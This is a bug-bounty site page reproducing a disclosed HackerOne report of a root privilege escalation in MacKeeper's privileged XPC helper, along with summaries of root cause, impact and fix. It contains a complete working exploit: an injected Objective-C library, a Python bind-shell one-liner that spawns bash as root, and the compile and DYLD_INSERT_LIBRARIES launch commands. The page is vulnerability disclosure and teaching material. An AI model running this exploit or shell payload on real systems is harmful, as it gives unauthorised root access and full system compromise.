Skip to content
Access control Disclosed report Advanced

Local Privilege escalation to root via XPC

The privileged helper only checked that the connecting process was signed with the same developer certificate, so an attacker could inject a malicious library into an older signed MacKeeper binary and connect to the helper. This allowed the attacker to run commands as root.

r3ggi-on-h1 Follow

Originally disclosed on HackerOne

High 7.8 View original
  • Triaged in 3 days
  • Fixed in 52 days
  • Paid in 14 days
  • Disclosed after 6 months

Summary by the program

Summary

The application is divided into a few parts responsible for different actions. The standard, running with user permissions parts are:

MacKeeper MacKeeperAgent MacKeeper communicates with more privileged (root) part named com.mackeeper.MacKeeperPrivilegedHelper that is located in the /Library/PrivilegedHelperTools/ directory. The communication is done via the NSXPC mechanism. While establishing the connection, the com.mackeeper.MacKeeperPrivilegedHelper has to ensure that the connecting process is the MacKeeperAgent in order to mitigate privilege escalation bugs. To do so, the -[MKKeenowVPN listener:shouldAcceptNewConnection:] method is used. Inside that method, you check if the connecting process has been signed with the same Developer Certificate that com.mackeeper.MacKeeperPrivilegedHelper was.

The problem is that an attacker is able to inject a malicious code into validly signed MacKeeper executable file via DYLD_INSERT_LIBRARIES environment variable and establish a valid XPC connection.

Steps to reproduce

To prepare this PoC I downloaded older version of MacKeeper (4.6.2) that has no 'Hardened Runtime' capability turned on but is still signed with the same Developer Certificate. Note, that we're going to connect to the newest version of Mackeeper. After we downloaded a 'trampoline' executable, we need to prepare a malicious dynamic library that we are going to inject. The code below:

#import <Foundation/Foundation.h>

@protocol MKIKeenowVPN
@property(readonly, nonatomic) BOOL available;
- (void)resetPassword:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2;
- (void)closeClientWithEmail:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2;
- (void)getAccountExpDateWithCallBack:(void (^)(NSDate *, unsigned long long))arg1;
- (void)getAccountCredentialWithCallBack:(void (^)(NSString *, NSString *, unsigned long long))arg1;
- (void)getAccountTypeWithCallBack:(void (^)(NSString *, unsigned long long))arg1;
- (void)loginWithEmail:(NSString *)arg1 password:(NSString *)arg2 callback:(void (^)(unsigned long long))arg3;
- (void)addClientWithEmail:(NSString *)arg1 password:(NSString *)arg2 countryCode:(NSString *)arg3 type:(NSString *)arg4 callback:(void (^)(unsigned long long))arg5;
- (void)setEncryptionType:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2;
- (void)checkAESSupportWithCallback:(void (^)(BOOL))arg1;
- (void)retrieveBandwidthForServerAtAddress:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2;
- (void)pingServerAtAddress:(NSString *)arg1 callback:(void (^)(unsigned long long, unsigned long long, unsigned long long))arg2;
- (void)checkOpenPortWithIP:(NSString *)arg1 protocol:(NSString *)arg2 port:(NSString *)arg3 callback:(void (^)(BOOL))arg4;
- (void)retrieveVPNStatusWithCallback:(void (^)(BOOL, unsigned long long))arg1;
- (void)stopVPNConnectionWithCallback:(void (^)(unsigned long long))arg1;
- (void)startVPNConnectionWithIP:(NSString *)arg1 protocol:(NSString *)arg2 port:(NSString *)arg3 callback:(void (^)(unsigned long long))arg4;
- (void)getServerListWithCallback:(void (^)(NSArray *, unsigned long long))arg1;
- (void)finalize;
- (void)initializeWithOpenVPNPath:(NSString *)arg1 callback:(void (^)(BOOL))arg2;
@end

@protocol MKIKeenowVPNObserver
- (void)privilegedVPNIOCountDidChange:(unsigned long long)arg1;
- (void)privilegedVPNStateDidChange:(unsigned long long)arg1;
@end

@interface MacKeeperMaliciousLibrary : NSObject <MKIKeenowVPNObserver>
- (void)startXPCConnection;
@end

@implementation MacKeeperMaliciousLibrary
- (void)privilegedVPNIOCountDidChange:(unsigned long long)arg1 {
    NSLog(@"[+] privilegedVPNIOCountDidChange CALLED with %llu", arg1);
}
- (void)privilegedVPNStateDidChange:(unsigned long long)arg1 {
    NSLog(@"[+] privilegedVPNStateDidChange CALLED with %llu", arg1);
}
- (instancetype)init
{
    self = [super init];
    if (self) {
        [self startXPCConnection];
    }
    return self;
}
- (void)startXPCConnection {
    NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MKIKeenowVPN)];
    NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.mackeeper.MacKeeperPrivilegedHelperMKIKeenowVPN.mach" options:NSXPCConnectionPrivileged];
    xpcConnection.remoteObjectInterface = remoteInterface;
    xpcConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MKIKeenowVPNObserver)];
    xpcConnection.exportedObject = self;

    xpcConnection.interruptionHandler = ^{
        NSLog(@"Connection Terminated");
    };

    xpcConnection.invalidationHandler = ^{
        NSLog(@"Connection Invalidated");
    };

    [xpcConnection resume];

    [xpcConnection.remoteObjectProxy initializeWithOpenVPNPath:@"/tmp/rootshell.sh" callback:^(BOOL success) {
        NSLog(@"initializeWithOpenVPNPath? %d", success);
    }];

    sleep(1);

    [xpcConnection.remoteObjectProxy startVPNConnectionWithIP:@"127.0.0.1" protocol:@"TCP" port:@"8888" callback:^(unsigned long long success) {
        NSLog(@"startVPNConnectionWithIP? %llu", success);
    }];

    sleep(1);
}

@end

__attribute__((constructor)) static void pwn() {

    NSString *rootshell = @"/usr/local/bin/python3 -c \"import os;import pty;import socket;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('127.0.0.1', 31337));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn('/bin/bash');s.close()\"";
    [rootshell writeToFile:@"/tmp/rootshell.sh" atomically:YES encoding:NSUTF8StringEncoding error:nil];

    NSLog(@"[!] DYLIB SUCCESSFULLY INJECTED");
    [MacKeeperMaliciousLibrary new];
    exit(-3);
}

Compile the lib using gcc:

gcc -dynamiclib malicious_library.m -o libMacKeeperMaliciousLibrary.dylib -lobjc -framework Foundation

Run following command:

DYLD_INSERT_LIBRARIES=./libMacKeeperMaliciousLibrary.dylib ./MacKeeper_old.app/Contents/MacOS/MacKeeper

If the exploit succeeded the rootshell should be spawned (screen attached). If not, try to kill com.mackeeper.MacKeeperPrivilegedHelper and immediately run the exploit again.

The original report as published on HackerOne, by r3ggi-on-h1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The helper verified only the code signature of the connecting process, not its exact identity or the absence of injected libraries, so an older signed binary with DYLD_INSERT_LIBRARIES could impersonate the legitimate client.

Impact

An attacker could execute arbitrary commands with root privileges, leading to full system compromise.

What the attacker needed

Local access to the machine; ability to run the old MacKeeper binary

The fix

The helper should verify the connecting process more strictly, and Hardened Runtime would prevent library injection.

How it was found

  1. Download an older version of MacKeeper that lacks Hardened Runtime but is signed with the same certificate.
  2. Create a malicious dynamic library that connects to the privileged helper and calls its methods.
  3. Compile the library.
  4. Run the old MacKeeper executable with DYLD_INSERT_LIBRARIES pointing to the malicious library.
  5. If the exploit fails, kill the privileged helper and retry.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A privileged helper program runs with high permissions and should only accept connections from trusted programs. The helper checked the digital signature of the connecting program, but an attacker could add their own code to an old signed version of the program and still pass the check. This let the attacker run commands as the root user.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by r3ggi-on-h1

View all

1 more disclosed report, best first.

More from Clario

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.